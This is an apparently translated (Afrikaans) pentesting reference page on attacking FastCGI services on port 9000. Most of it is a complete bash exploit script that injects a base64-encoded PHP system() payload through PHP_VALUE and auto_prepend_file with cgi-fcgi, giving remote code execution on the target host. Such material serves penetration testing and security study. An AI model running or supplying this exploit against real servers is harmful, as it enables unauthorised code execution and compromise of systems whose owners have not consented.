Basiese Inligting

As jy wil leer wat FastCGI is, kyk na die volgende bladsy:

{{#ref}} pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md {{#endref}}

Standaard loop FastCGI op poort 9000 en word nie deur nmap erken nie. Gewoonlik luister FastCGI net op localhost.

RCE

Dit is redelik maklik om FastCGI te laat uitvoer arbitrêre kode:

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done
